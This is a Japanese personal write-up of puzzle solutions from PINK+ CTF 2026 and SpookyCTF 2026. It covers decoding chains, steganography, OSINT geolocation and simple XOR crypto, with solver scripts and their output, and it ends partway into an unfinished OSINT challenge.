PINK+ CTF 2026 Writeup

この大会は2026/11/6 21:00(JST)~2026/11/9 21:00(JST)に開催されました。
今回は個人で参戦。結果は860点で589チーム中127位でした。
自分で解けた問題をWriteupとして書いておきます。

Where U From? (Misc 10)

チーム設定で国設定すると、フラグが表示された。

PINK{0h,_th4t_c4untry_1s_n1ce!}

Sanity Check (Misc 25)

Discordに入り、#「!」rulesチャネルのPINK+ CTF Rulesの中にフラグが書いてあった。

PINK{Th4nk_Y0u_F0r_R34d1ng!!}

Sanity Check 2 (Misc 50)

Discordに入り、#「!」rulesチャネルのPINK+ CTF Rulesの箇条書きの事項の頭文字をつなげていくと、フラグになった。

PINK{Sm4rt_B0y!}

Journey (Misc 75)

ChatGPTに聞いてみた。
あるプログラミング言語で書かれたプログラムを解析すると、次の言語のプログラムが現れるという多段階の問題。

次の順序で復元できることがわかった。

gogogo.journey      Go
    ↓
standard.journey    C
    ↓
snake.journey       Python
    ↓
rusted.journey      Rust
    ↓
classic.journey     Haskell
    ↓
coffee.journey      Java
    ↓
awake.journey       Brainfuck
    ↓
Base64文字列
    ↓
Rubyプログラム
    ↓
healthy_food.journey  Emojicode
    ↓
XORによる33文字の復元

1. 最初のGoプログラムの解析

gogogo.journey は拡張子が特殊だが、中身はGoのソースコードになっている。

冒頭に以下の定義がある。

const (
    binbash = 107
    gogogo = "7f59c8987f59a9e7..."
)

gogogo は非常に長い16進数文字列になっている。重要なのは、プログラム末尾付近にある次の関数。

func deByte(i int, y byte, binbash byte) byte {
    b := bAdd(i, binbash)
    t := byte(uint16(y-b) & 0xFF)
    u := byte((uint16(t) * ain) & 0xFF)
    return ror1(u)
}

これは、16進数から取り出した各バイトに対して、位置に応じた減算、13倍、1ビット右ローテーションを適用している。
つまり、Goプログラム全体を実行しなくても、復号処理だけPythonで再現できる。
復号結果の先頭4バイトはデータ長を表しており、その後ろにCのソースコードが格納されている。

2. 次の言語へ進む方法

各段階では、プログラムの最後にあるファイル出力処理を確認した。

段階 主な処理
C 行単位の暗号化データをXorshift32などで復元
Python SHA-256で導出した鍵によるXORとzlib展開を10段実施
Rust XORとビットローテーションでデータを復元
Haskell 16進数の配列に対し、位置依存の減算を実施
Java PBKDF2で鍵を導出し、AES-GCMで復号
Brainfuck 文字を順番に出力し、RubyのBase64データを生成
Ruby SHA-256由来の鍵でXOR復号し、必要に応じてgzip展開

例えばPythonの snake.journey には、以下の処理が直接記述されている。

def _d(x: bytes, s: bytes) -> bytes:
    y = x
    for r in reversed(range(Q2)):
        y = zlib.decompress(y)
        y = _b(y, _c(s, r))

    n = struct.unpack(">I", y[:4])[0]
    return y[4:4 + n]

ここで Q2 = 10 なので、10回繰り返しながら次のプログラムを取り出す構造だとわかる。このように、各言語の処理を読み取って復元を進める。

3. BrainfuckからRubyの復元

awake.journey は、次の3種類の命令だけで構成されていた。

  • +:現在の値に1を加える
  • -:現在の値から1を引く
  • .:現在の値を文字として出力する

Pythonで簡単に実行できる。

code = open("awake.journey").read()

value = 0
output = bytearray()

for c in code:
    if c == "+":
        value = (value + 1) % 256
    elif c == "-":
        value = (value - 1) % 256
    elif c == ".":
        output.append(value)

open("brain_output.bin", "wb").write(output)

出力の最初に次のヒントがあった。

Now I would like to mine rubies. But how?

その後にBase64文字列が続く。これを復号するとRubyプログラムが得られる。Rubyのプログラムを解析・実行した結果、最後の healthy_food.journey が生成された。

4. 最後のEmojicodeからフラグを復元

ファイルの冒頭には、次の8個の定数が定義されている。

90  ➡️ mango
17  ➡️ guava
204 ➡️ papaya
51  ➡️ lychee
113 ➡️ durian
7   ➡️ kumquat
58  ➡️ fig
199 ➡️ quince

その後、各文字に対して以下のような処理がある。

111 ➡️ 🖍🆕 grape
grape ⬅️❌ mango
grape ⬅️❌ guava
grape ⬅️❌ papaya
grape ⬅️❌ lychee
grape ⬅️❌ durian
grape ⬅️❌ kumquat
grape ⬅️❌ fig
grape ⬅️❌ quince

⬅️❌ はXOR演算

つまり、最初の文字は次の計算で求められる。

x = 111

for k in [90, 17, 204, 51, 113, 7, 58, 199]:
    x ^= k

print(x)       # 80
print(chr(x))  # P

同様の処理が33文字分存在している。したがって、最後の段階だけなら次のPythonコードでフラグを取り出せる。

import re
from functools import reduce
from operator import xor

s = open("healthy_food.journey", encoding="utf-8").read()

keys = [90, 17, 204, 51, 113, 7, 58, 199]

values = re.findall(r"(\d+)\s+➡️\s+🖍🆕", s)

flag = "".join(
    chr(reduce(xor, keys, int(v)))
    for v in values
)

print(flag)

以上のことからフラグを復元するスクリプトまでを作ってもらった。

#!/usr/bin/env python3
"""End-to-end solver for the Journey CTF challenge.

Dependencies: Python 3 with numpy, gcc, javac/java, and ruby.
Usage: python3 solve_journey.py /path/to/gogogo.journey
Outputs go into journey_recovered/ beside this script.
"""
from __future__ import annotations

import base64
from functools import reduce
import operator
from pathlib import Path
import re
import shutil
import subprocess
import sys

import numpy as np


def run(args: list[str], cwd: Path) -> None:
    print('  $', ' '.join(args), flush=True)
    subprocess.run(args, cwd=cwd, check=True)


def write_payload(raw: bytes, name: str, dest: Path) -> None:
    if len(raw) < 4:
        raise ValueError('decoded payload is too short')
    n = int.from_bytes(raw[:4], 'big')
    if n > len(raw) - 4:
        raise ValueError(f'bad declared size: {n}, available: {len(raw)-4}')
    (dest / name).write_bytes(raw[4:4+n])
    print('  ->', name, f'({n:,} bytes)', flush=True)


def decode_go(src: Path, dest: Path) -> None:
    b = src.read_bytes()
    marker = b'gogogo = "'
    begin = b.index(marker) + len(marker)
    end = b.index(b'"', begin)
    ct = bytes.fromhex(b[begin:end].decode('ascii'))
    del b
    output = bytearray()
    step = 1_000_000
    for start in range(0, len(ct), step):
        piece = np.frombuffer(ct, dtype=np.uint8, count=min(step, len(ct) - start), offset=start)
        idx = np.arange(start, start + len(piece), dtype=np.uint32)
        badd = ((idx * idx + 31 * idx + 107) & 255).astype(np.uint8)
        u = ((piece.astype(np.int16) - badd.astype(np.int16)) * 13).astype(np.uint8)
        plain = ((u >> 1) | (u << 7)).astype(np.uint8)
        output.extend(plain.tobytes())
    write_payload(output, 'standard.journey', dest)


def decode_rust(src: Path, dest: Path) -> None:
    b = src.read_bytes()
    hx = re.search(rb'const Z2:\s*&\[&str\]\s*=\s*&\[(.*?)\];', b, re.S)
    if not hx:
        raise ValueError('Rust Z2 array not found')
    ct = b''.join(bytes.fromhex(x.decode('ascii')) for x in re.findall(rb'"([0-9a-f]+)"', hx.group(1)))
    key = np.frombuffer(b'1337coffee', dtype=np.uint8)
    out = bytearray()
    step = 1_000_000
    for start in range(0, len(ct), step):
        part = np.frombuffer(ct, dtype=np.uint8, count=min(step, len(ct)-start), offset=start)
        i = np.arange(start, start + len(part), dtype=np.uint64)
        x = part ^ ((i * 131) & 255).astype(np.uint8) ^ key[i % len(key)]
        out.extend(((x >> 1) | (x << 7)).astype(np.uint8).tobytes())
    write_payload(out, 'classic.journey', dest)


def decode_haskell(src: Path, dest: Path) -> None:
    b = src.read_bytes()
    body = b.split(b'zz =', 1)[1].split(b'\n  ]', 1)[0]
    ct = b''.join(bytes.fromhex(x.decode('ascii')) for x in re.findall(rb'"([0-9a-f]+)"', body))
    out = bytearray()
    step = 1_000_000
    for start in range(0, len(ct), step):
        part = np.frombuffer(ct, dtype=np.uint8, count=min(step, len(ct)-start), offset=start)
        i = np.arange(start+1, start+len(part)+1, dtype=np.uint32)
        out.extend((part - i.astype(np.uint8)).astype(np.uint8).tobytes())
    write_payload(out, 'coffee.journey', dest)


def decode_brainfuck(src: Path, dest: Path) -> None:
    # This particular challenge stage contains only +, -, and .
    s = src.read_text('ascii')
    if any(ch not in '+-.' for ch in s):
        raise ValueError('Unexpected Brainfuck instructions (loops would need an interpreter)')
    cell = 0
    emitted = bytearray()
    for ch in s:
        if ch == '+':
            cell = (cell + 1) & 255
        elif ch == '-':
            cell = (cell - 1) & 255
        elif ch == '.':
            emitted.append(cell)
    (dest / 'brain_output.bin').write_bytes(emitted)
    print('  BF hint:', emitted.split(b'\n', 1)[0].decode(), flush=True)
    payload = emitted.split(b'\n\n', 1)[1].strip()
    ruby_src = base64.b64decode(payload, validate=True)
    (dest / 'ruby_stage.rb').write_bytes(ruby_src)
    print('  -> ruby_stage.rb', f'({len(ruby_src):,} bytes)', flush=True)


def decode_emojicode(src: Path) -> str:
    s = src.read_text('utf-8')
    first_lines = s.splitlines()[:11]
    vals = [int(m.group(1)) for line in first_lines
            if (m := re.match(r'\s*(\d+)\s+➡️\s+\w+\s*$', line))]
    if len(vals) != 8:
        raise ValueError(f'Expected 8 global XOR masks, found {vals!r}')
    bases = [int(x) for x in re.findall(r'(?m)^\s*(\d+)\s+➡️\s+🖍🆕\s+', s)]
    if len(bases) != 33:
        raise ValueError(f'Expected 33 encoded letters, found {len(bases)}')
    return ''.join(chr(reduce(operator.xor, vals, base)) for base in bases)


def main() -> None:
    src = Path(sys.argv[1] if len(sys.argv) > 1 else 'gogogo.journey').resolve()
    if not src.is_file():
        raise FileNotFoundError(src)
    dest = Path(__file__).resolve().parent / 'journey_recovered'
    dest.mkdir(exist_ok=True)

    print('[1/9] Go: hex + position-dependent arithmetic')
    decode_go(src, dest)

    print('[2/9] C: per-line Xorshift32 decryption')
    exe = dest / 'stage_c'
    run(['gcc', '-O0', '-w', '-x', 'c', str(dest / 'standard.journey'), '-o', str(exe)], dest)
    run([str(exe)], dest)
    assert (dest / 'snake.journey').exists()

    print('[3/9] Python: ten SHA256/XOR/zlib rounds')
    run([sys.executable, str(dest / 'snake.journey')], dest)
    assert (dest / 'rusted.journey').exists()

    print('[4/9] Rust: hex + XOR + bit rotation (static)')
    decode_rust(dest / 'rusted.journey', dest)

    print('[5/9] Haskell: per-index byte subtraction (static)')
    decode_haskell(dest / 'classic.journey', dest)

    print('[6/9] Java: PBKDF2 and AES-GCM')
    java = dest / 'CappuccinoJourney.java'
    shutil.copyfile(dest / 'coffee.journey', java)
    run(['javac', '-d', str(dest), str(java)], dest)
    run(['java', '-cp', str(dest), 'CappuccinoJourney'], dest)
    assert (dest / 'awake.journey').exists()

    print('[7/9] Brainfuck: emit text and Base64 Ruby code')
    decode_brainfuck(dest / 'awake.journey', dest)

    print('[8/9] Ruby: SHA-256/XOR, optional gzip')
    run(['ruby', str(dest / 'ruby_stage.rb')], dest)
    assert (dest / 'healthy_food.journey').exists()

    print('[9/9] Emojicode: decode 33 XOR-encoded characters')
    print('FLAG:', decode_emojicode(dest / 'healthy_food.journey'))


if __name__ == '__main__':
    main()

実行結果は以下の通り。

$ python3 solve.py gogogo.journey
[1/9] Go: hex + position-dependent arithmetic
  -> standard.journey (37,465,997 bytes)
[2/9] C: per-line Xorshift32 decryption
  $ gcc -O0 -w -x c /mnt/hgfs/Shared/work/journey_recovered/standard.journey -o /mnt/hgfs/Shared/work/journey_recovered/stage_c
  $ /mnt/hgfs/Shared/work/journey_recovered/stage_c
C is only one letter; less is faster, but I also want to fight snakes and see a child of C (snake.journey)
[3/9] Python: ten SHA256/XOR/zlib rounds
  $ /home/kali/venv/bin/python3 /mnt/hgfs/Shared/work/journey_recovered/snake.journey
Python is pretty slow, I am afraid my computer has rusted by now (rusted.journey)
[4/9] Rust: hex + XOR + bit rotation (static)
  -> classic.journey (1,872,164 bytes)
[5/9] Haskell: per-index byte subtraction (static)
  -> coffee.journey (934,394 bytes)
[6/9] Java: PBKDF2 and AES-GCM
  $ javac -d /mnt/hgfs/Shared/work/journey_recovered /mnt/hgfs/Shared/work/journey_recovered/CappuccinoJourney.java
  $ java -cp /mnt/hgfs/Shared/work/journey_recovered CappuccinoJourney
After so much coffee I feel wide awake; my brain is completely scrambled (awake.journey)
[7/9] Brainfuck: emit text and Base64 Ruby code
  BF hint: Now I would like to mine rubies. But how?
  -> ruby_stage.rb (21,521 bytes)
[8/9] Ruby: SHA-256/XOR, optional gzip
  $ ruby /mnt/hgfs/Shared/work/journey_recovered/ruby_stage.rb
I found a ruby in the mine! But now I am really hungry for some grapes! (healthy_food.journey)
[9/9] Emojicode: decode 33 XOR-encoded characters
FLAG: PINK{Th3_J0urn3y_m4y_n3v3r_3nd!!}
PINK{Th3_J0urn3y_m4y_n3v3r_3nd!!}

Fernweh (OSINT 25)


この写真を撮影した場所をマップ上でポイントして、提出する必要がある。
ChatGPTに聞きながら、この場所を特定する。

この場所は、ドイツのベルリン・ブランデンブルク空港(Berlin Brandenburg Airport / BER)である可能性が非常に高い。

この場所の特定の根拠は以下の通り。

  1. 搭乗橋の広告が一致:画像にある「Revolut」「Banking & Beyond」の広告デザインが、空港公式サイトの写真と一致する。
  2. 建物の外観が類似:黒っぽいガラス張りのターミナルと搭乗橋の構造も符合する。
  3. ゲート表示:添付画像の建物下部には「B0…」と読める文字があり、BERのターミナル1にはB01~B20などのゲートがある。

このゲートを見下して、画像のように見えそうな箇所をSubmitしてみる。
結果次の場所でSunmitしたらフラグが表示された。

PINK{4nd_1_4m_f4r,_f4r_4w4y!}

💧 (OSINT 75)

周辺の景色が回りながらみえるので、その場所をマップ上でポイントして、提出する必要がある。
まず周辺の景色の画像をキャプチャした。

この画像を検索すると、以下のページが見つかる。
https://ja.wikipedia.org/wiki/%E3%83%95%E3%83%AA%E3%83%BC%E3%83%89%E3%83%AA%E3%83%92%E3%82%B9%E3%83%8F%E3%83%BC%E3%83%95%E3%82%A7%E3%83%B3

このビーチ沿いで近い景色になる部分をSubmitしたらフラグが表示された。

PINK{B0d3ns33_0r_L4k3_C0nst4nc3?}

Absolute Craziness (OSINT 100)

問題文はこうなっている。

German politicians are crazy! You see them eating, dancing, playing football and much more! 
A very prominent Bavarian politician has recently been swimming at the start of august and was not afraid to publish his experience! 
Your job: Find the exact location he was swimming in! 
Good Luck!

この場所をマップ上でポイントして、提出する必要がある。
ChatGPTに聞いてみた。

調査したところ、問題文の政治家は Markus Söder(マルクス・ゼーダー) と考えられる。泳いだ場所の有力候補は、ドイツ・ニュルンベルクにある Clubbad des 1. FC Nürnberg。

  • 施設名: Clubbad des 1. FC Nürnberg
  • 住所: Lupinenweg 2, 90480 Nürnberg, Germany
  • 公式サイト: Clubbad

根拠として、2026年5月30日ごろのInstagram投稿では、ゼーダー本人がニュルンベルクのClubbadをお気に入りの水泳施設として紹介している。
また、2026年8月8日(土) にも早朝の水泳後にInstagramへ写真を投稿しており、8月11日の報道で確認できる。

この施設の場所をSubmitしたらフラグが表示された。

PINK{Söd3r_Sw33t_C4r0l1ne_0h_0h_0h}

TNS (Reversing 25)

pink.tnsを7-Zipで解凍すると、以下のファイルが展開される。

  • pink.py
  • pink.pyt
  • Problem1.xml(0バイト)

また、lib_pink.tnsを7-Zipで解凍すると、以下のファイルが展開される。

  • lib_pink.py
  • Problem1.xml(0バイト)

pink.pyとlib_pink.pyを同じフォルダにおいて、以下を実行する。

$ python3 pink.py
PINK{just_4_s1mpl3_pr0gr4m_1_wr0t3_0n_my_n3w_c4lcul4t0r}
PINK{just_4_s1mpl3_pr0gr4m_1_wr0t3_0n_my_n3w_c4lcul4t0r}

Glitched Screen!? (Reversing 50)

こんな画像ファイルが添付されている。

Pietというesolangの問題と推測できる。

ChatGPTに聞いてみたところ、入力すべきPINは以下の通り。
7391842056

https://piet.bubbler.blue/で上記の値を入力として、実行すると、フラグが表示された。

PINK{d0_y0u_l1k3_this_l4ngu4g3?}

Too many Emoji (Steganography 25)

各絵文字のUnicode公式名称の先頭文字を取り出す。

#!/usr/bin/env python3
import unicodedata

s = "👛🏮🔩👘🐈☂🚀🦁💛🐻🚀⚓🐈🦅🐙🐼🦅🔩🍍💿🎀👿🎷☂🔩🐬🦅🚀🐍🐈🐙🚀🦅🍭📥🐨💡🌱☂🔩🐬🦅🚀🐍🐈🐙🚀🦅👽🎤🍢🎃🍨🎒☂🔩🐬🦅🚀🐍🐈🐙🚀🦅🎁📖🐋☂🔩🐬🦅🚀🐍🐈🐙🚀🦅🍓😒🍫🎧☂🔩🐬🦅🚀🐍🐈🐙🚀🦅🏺☂🔩🐬🦅🚀🐍🐈🐙🚀🦅🌵🐙💿🐆☂🔩🐬🦅🚀🐍🐈🐙🚀🦅🍒🌺👾💄📒🐈☂🚀🦁💛🐻🚀⚓🐈🦅🐈🦁🐙🐍🦅"

decoded = ''.join(
    unicodedata.name(c).split()[0][0]
    for c in s
)

decoded = decoded.replace("CURLYBRACEOPEN", "{")
decoded = decoded.replace("CURLYBRACECLOSE", "}")
decoded = decoded.replace("UNDERSCORE", "_")

print(decoded)
PINK{PORIS_LIKES_EMOJIS_WOW_SUCH_A_COOL_CHALL}

Kosaken (Steganography 50)

ChatGPTに聞いてみた。

添付の Kosaken.txt は、ドイツの楽曲「Moskau」の歌詞を絵文字で表したもの。ただし、一部に歌詞とは無関係な絵文字が混入している。
例えば、次の部分。

🥶🧊🍕
🥂👨🏻‍🤝‍👨🏼🍻🇮🇹
🥂➡️🧱💥👃
❤️‍🔥🌌♾️🔑

余分な絵文字を取り出すと、以下の部分がある。

🍕 🇮🇹 👃 🔑

それぞれの英語名の頭文字は、以下の通りとなる。

  • 🍕 Pizza → P
  • 🇮🇹 Italy → I
  • 👃 Nose → N
  • 🔑 Key → K

同じ方法でファイル全体から不自然な絵文字を抽出すると、次の23個になる。

🍕 🇮🇹 👃 🔑 🫲
🍋 🐘 🦅 🌈 🐯
➖
🐶 ℹ️ ✉️
➖
🍇 🦁 🍎 🌲 🐍 👀 🐇
🫱

これを変換すると、以下の通りとなる。

絵文字 解釈 結果
🍕 🇮🇹 👃 🔑 Pizza, Italy, Nose, Key PINK
🫲 左向きの手(開始括弧) {
🍋 🐘 🦅 🌈 🐯 Lemon, Elephant, Eagle, Rainbow, Tiger LEERT
➖ 区切り _
🐶 ℹ️ ✉️ Dog, Information, Envelope DIE
➖ 区切り _
🍇 🦁 🍎 🌲 🐍 👀 🐇 Grapes, Lion, Apple, Evergreen tree, Snake, Eyes, Rabbit GLAESER
🫱 右向きの手(終了括弧) }
PINK{LEERT_DIE_GLAESER}

White Noise (Steganography 50)

ChatGPTに聞いてみた。

ポイントは、1,337バイト間隔でデータを取り出し、LSBとMSBを交互に使用すること。

  1. WAVヘッダーの44バイトを除外する。
  2. 音声データから1,337バイトごとに1バイト取り出す。
  3. 偶数番目のバイトからLSB(bit 0)を取り出す。
  4. 奇数番目のバイトからMSB(bit 7)を取り出す。
  5. 得られたビット列をMSB-firstで8ビットずつASCIIに変換する。

以上をPythonコードで作ってもらい、実行した結果フラグを取得できた。

#!/usr/bin/env python3
from pathlib import Path

data = Path("noise.wav").read_bytes()[44:]

bits = []
for i, b in enumerate(data[::1337]):
    bit = (b >> (0 if i % 2 == 0 else 7)) & 1
    bits.append(str(bit))

bitstream = "".join(bits)

flag = bytes(
    int(bitstream[i:i+8], 2)
    for i in range(0, len(bitstream), 8)
)

print(flag.decode())
PINK{good_job_white_noise_sometimes_has_lots_of_information}

Suspicious Numbers (Steganography 50)

すべて1337の倍数になっている。1337で割った値を元素の原子番号として解釈する。

  • 120330 // 1337 = 90 -> Th
  • 70861 // 1337 = 53 -> I
  • 21392 // 1337 = 16 -> S
  • 70861 // 1337 = 53 -> I
  • 21392 // 1337 = 16 -> S
  • 62839 // 1337 = 47 -> Ag
  • 100275 // 1337 = 75 -> Re
  • 113645 // 1337 = 85 -> At
  • 8022 // 1337 = 6 -> C
  • 1337 // 1337 = 1 -> H
  • 17381 // 1337 = 13 -> Al
  • 5348 // 1337 = 4 -> Be
  • 26740 // 1337 = 20 -> Ca
  • 123004 // 1337 = 92 -> U
  • 45458 // 1337 = 34 -> Se
  • 52143 // 1337 = 39 -> Y
  • 10696 // 1337 = 8 -> O
  • 123004 // 1337 = 92 -> U
  • 25403 // 1337 = 19 -> K
  • 136374 // 1337 = 102 -> No
  • 98938 // 1337 = 74 -> W
  • 13370 // 1337 = 10 -> Ne
  • 98938 // 1337 = 74 -> W
  • 120330 // 1337 = 90 -> Th
  • 70861 // 1337 = 53 -> I
  • 9359 // 1337 = 7 -> N
  • 141722 // 1337 = 106 -> Sg
  • 9359 // 1337 = 7 -> N
  • 10696 // 1337 = 8 -> O
  • 98938 // 1337 = 74 -> W

これを連結し、フラグの形式にする。

PINK{ThISISAgReAtCHAlBeCaUSeYOUKNoWNeWThINSgNOW}

Flashback (Steganography 75)

ChatGPTに聞いてみた。

以下のようにして解読した。

  1. SWF内の D7.d() に、496個の整数からなる配列が5組埋め込まれていた。
  2. Maze.f1() の処理を解析すると、これらの整数は疑似乱数とXORされていた。
  3. 復号したデータを89×89のビットマップに変換した。
  4. 5枚の画像を重ね合わせると、QRコードのデータ部分が復元できた。
  5. 欠けていた3か所のQRコード位置検出パターンを補完し、読み取った。

PINK{Fl4sh_Pl4y3r_escape_the_maze}

Bayrisches Theater (Steganography 100)

🟦を1、⬜を0として、改行を除き、連結する。その後、4ビットずつ区切って16進数に変換する。32バイトごとに"f"があるので、それを改行にして31x31に並べる。"0", "5", "a"を黒にし、それ以外を白に変換するとQRコードになりそう。なお、上下左右の端に不要な空白データがあるので、削除する。

#!/usr/bin/env python3
from string import *

with open('bayrisches.theater', 'r', encoding='utf-8') as f:
    data = f.read()

data = data.replace('🟦', '1').replace('⬜', '0')
data = data.replace('\n', '')

hex_data = ''
for i in range(0, len(data), 4):
    hex_data += hex(int(data[i:i+4], 2))[2:]

hex_data = hex_data.replace('f', '\n')

for h in hexdigits[:16]:
    if int(h, 16) % 5 == 0:
        hex_data = hex_data.replace(h, 'X')
    else:
        hex_data = hex_data.replace(h, '_')

lines = hex_data.splitlines()

for line in lines[1:-1]:
    print(line[1:-1])
$ python3 solve.py > qr.txt     
$ cat qr.txt           
XXXXXXX_X_X_X__XX__X__XXXXXXX
X_____X_XXX_X_XX______X_____X
X_XXX_X__XX__XXX____X_X_XXX_X
X_XXX_X_XX_X____X__XX_X_XXX_X
X_XXX_X__X_X_X____X___X_XXX_X
X_____X__XX_X_X__XXX__X_____X
XXXXXXX_X_X_X_X_X_X_X_XXXXXXX
________XXX_XXX__XXXX________
X_XX_XXX_XXXXXX_XX__X_X__X_XX
X____X_XX_XXX__XX__XX_X_X_XX_
XXXXX_XX______XX_X__X____X_X_
X_X_X__XXX_X_XXX__XXXX_X_____
_XXX_XXXX_X_X___XXX_X__X_XX_X
_X_X___XX_XXXX____XX_XXX_____
XX_X_XX_X_XX__X____X__X___XXX
_X___X_X_XX_XX_X__X_XX__XX___
_XX___XXXX___________X__X_X_X
____X___X_XXXX____X_______X_X
X____XXX__XXX_____X_XXX__X___
________XX_XX__XXXX_X__XX_X__
_XXX__X__X_X_X_X_X_XXXXXX_X_X
________XX_XXXXX_X_XX___XX___
XXXXXXX_X_XXXX__XX_XX_X_X_XX_
X_____X_XX_X____X__XX___X__XX
X_XXX_X__XXX__XX_X__XXXXXXX_X
X_XXX_X_XXX__XX_X_X_XX_X___X_
X_XXX_X_XX_XXXXXX_XX_XXX_X__X
X_____X__X______X__X__XX_X_X_
XXXXXXX_XX__XXXX_X_XXXX_XXXX_
$ python2 sqrd.py qr.txt                                                                                           
PINK{M4x_J053ph_P14tz_2_1818}
PINK{M4x_J053ph_P14tz_2_1818}

🍰 (Crypto 75)

問題文から円周率(π)の数字を3桁ずつ利用することが推測できる。また、r34lly、l1k3などのleat文字から1337が関係していることがわかる。
円周率の小数点以下1337桁を飛ばし、その後の数字を3桁ずつ取得し256で割った余りを鍵バイトとし、暗号文とXORする。

#!/usr/bin/env python3
from mpmath import mp

ct = bytes.fromhex(
    "73665d1406069b625aa34884e219d0c2ec5bf3957acb92ffde"
)

mp.dps = 1600
digits = str(mp.pi).split(".")[1]

key = bytes(
    int(digits[1337 + i*3 : 1337 + i*3 + 3]) % 256
    for i in range(len(ct))
)

pt = bytes(c ^ k for c, k in zip(ct, key))
flag = pt.decode()
print(flag)
PINK{That_Pie_Was_Yummy!}

SpookyCTF 2026 Writeup

この大会は2026/11/7 2:00(JST)~2026/11/8 2:00(JST)に開催されました。
今回もチームで参戦。結果は2429点で741チーム中176位でした。
自分で解けた問題をWriteupとして書いておきます。

read the rules (rules)

ルールが記載されており、理解したら記載されているフラグを投入することになっている。

spooky(i_understand}

Gelotophobia (misc)

Generate Jokeをクリックすると、以下のURLに遷移した。
http://18.217.64.238/RUVFRUVFRUVFZWVlRUVFRUVFRUVFRUVFRWVlRWVFRWVFRUVFRUVFRUVlZWVFRWVFRUVFRUVFRUVFZWVFRUVFZUVFRUVFRUVFRWVlZUVlRUVFRUVFRUVFRUVlZUVFZUVl

メッセージは以下のようになっている。

What did one pirate say to the other when he beat him at chess?Checkmatey.

base64文字列をデコードしてみる。

$ echo RUVFRUVFRUVFZWVlRUVFRUVFRUVFRUVFRWVlRWVFRWVFRUVFRUVFRUVlZWVFRWVFRUVFRUVFRUVFZWVFRUVFZUVFRUVFRUVFRWVlZUVlRUVFRUVFRUVFRUVlZUVFZUVl | base64 -d
EEEEEEEEEeeeEEEEEEEEEEEEEeeEeEEeEEEEEEEEEeeeEEeEEEEEEEEEEeeEEEEeEEEEEEEEEeeeEeEEEEEEEEEEEeeEEeEe

CyberChefで以下の順でデコードする。

  • Find / Replace: Find: E, Rplace 0
  • Find / Replace: Find: e, Rplace 1
  • From Binary
  • Decode text: Encoding: UTF-16BE (1201)

この結果以下のとなった。

pirate

"flag"について、以下の順でエンコードする。

  • Encode text: Encoding: UTF-16BE (1201)
  • To Binary: Delimiter: Nonce
  • Find / Replace: Find: 0, Rplace E
  • Find / Replace: Find: 1, Rplace e

この結果以下の通りとなった。

EEEEEEEEEeeEEeeEEEEEEEEEEeeEeeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEeee
$ echo -n EEEEEEEEEeeEEeeEEEEEEEEEEeeEeeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEeee | base64                                                                
RUVFRUVFRUVFZWVFRWVlRUVFRUVFRUVFRWVlRWVlRUVFRUVFRUVFRUVlZUVFRUVlRUVFRUVFRUVF
ZWVFRWVlZQ==

以下のURLにアクセスする。
http://18.217.64.238/RUVFRUVFRUVFZWVFRWVlRUVFRUVFRUVFRWVlRWVlRUVFRUVFRUVFRUVlZUVFRUVlRUVFRUVFRUVFZWVFRWVlZQ==

この結果、フラグが表示された。

spooky{th4t_w4snt_funn3h}

Xenoglossophobia (misc)

JPGデータが分断されて通信されているので、FF D8からFF D9までを抽出し結合する。

#!/usr/bin/env python3
def parse_log(s):
    lines = s.splitlines()[1:]

    data = b''
    for line in lines:
        d = line[:48].split()
        d = bytes([int(c, 16) for c in d])
        data += d
    return data[3:-1]

with open('serial-capture.log', 'r') as f:
    logs = f.read().split('\n--\n')

logs_to_right = []
for log in logs:
    if len(log) > 0 and log[0] == '>':
        logs_to_right.append(log)

jpg = b''
for log in logs_to_right[:-4]:
    jpg += parse_log(log)

jpg = jpg.rstrip(b'\x1a')

with open('flag.jpg', 'wb') as f:
    f.write(jpg)

また最後の方に以下の文章が通信されている。

Ut clavem invenias ad plura de "loco" cognoscenda, intellegere debes quid imago tibi significet.
Est id quod "supermercado" vocant!

生成したjpgに対して、steghideでパスフレーズに"supermercado"を指定して秘密情報を抽出する。

$ steghide extract -sf flag.jpg -p supermercado
wrote extracted data to "communication.fun".

$ cat communication.fun 
\x4d\x65\x75\x20\x61\x6d\x69\x67\x6f\x21\x20\x50\x61\x72\x61\x62\xe9\x6e\x73\x20\x70\x6f\x72\x20\x65\x6e\x63\x6f\x6e\x74\x72\x61\x72\x20\x65\x73\x74\x61\x20\x63\x6f\x6d\x75\x6e\x69\x63\x61\xe7\xe3\x6f\x21\x20\x45\x75\x20\x73\x65\x69\x20\x71\x75\x65\x20\x70\x6f\x64\x65\x20\x74\x65\x72\x20\x6c\x65\x76\x61\x64\x6f\x20\x75\x6d\x20\x74\x65\x6d\x70\x6f\x20\x70\x61\x72\x61\x20\x63\x68\x65\x67\x61\x72\x20\x61\x74\xe9\x20\x61\x71\x75\x69\x2e\x0a\x0a\x4f\x20\x62\x61\x6e\x64\x65\x69\x72\x61\x20\xe9\x20\x73\x70\x6f\x6f\x6b\x79\x7b\x6d\x75\x31\x74\x69\x70\x6c\x33\x5f 108 64 110 103 117 64 103 101 115 125

16進数と末尾は10進数があるので、デコードする。

>>> s = "\x4d\x65\x75\x20\x61\x6d\x69\x67\x6f\x21\x20\x50\x61\x72\x61\x62\xe9\x6e\x73\x20\x70\x6f\x72\x20\x65\x6e\x63\x6f\x6e\x74\x72\x61\x72\x20\x65\x73\x74\x61\x20\x63\x6f\x6d\x75\x6e\x69\x63\x6\
1\xe7\xe3\x6f\x21\x20\x45\x75\x20\x73\x65\x69\x20\x71\x75\x65\x20\x70\x6f\x64\x65\x20\x74\x65\x72\x20\x6c\x65\x76\x61\x64\x6f\x20\x75\x6d\x20\x74\x65\x6d\x70\x6f\x20\x70\x61\x72\x61\x20\x63\x68\x6\
5\x67\x61\x72\x20\x61\x74\xe9\x20\x61\x71\x75\x69\x2e\x0a\x0a\x4f\x20\x62\x61\x6e\x64\x65\x69\x72\x61\x20\xe9\x20\x73\x70\x6f\x6f\x6b\x79\x7b\x6d\x75\x31\x74\x69\x70\x6c\x33\x5f"
>>> s
'Meu amigo! Parabéns por encontrar esta comunicação! Eu sei que pode ter levado um tempo para chegar até aqui.\n\nO bandeira é spooky{mu1tipl3_'
>>> s2 = "108 64 110 103 117 64 103 101 115 125"
>>> s2 = map(int, s2.split())
>>> "".join([chr(c) for c in s2])
'l@ngu@ges}'
spooky{mu1tipl3_l@ngu@ges}

Nosocomephobia (osint)

問題文はこうなっている。

There is this bottle I found washed on the shore yesterday.. 
Within it contained a cassette which sounded like simple beeping? 
I don't know what the beeping could signify but it has to mean something no? 
In addition, there was this picture within the bottle as well, don't know why it was there but these two artifacts have to be correlated! 
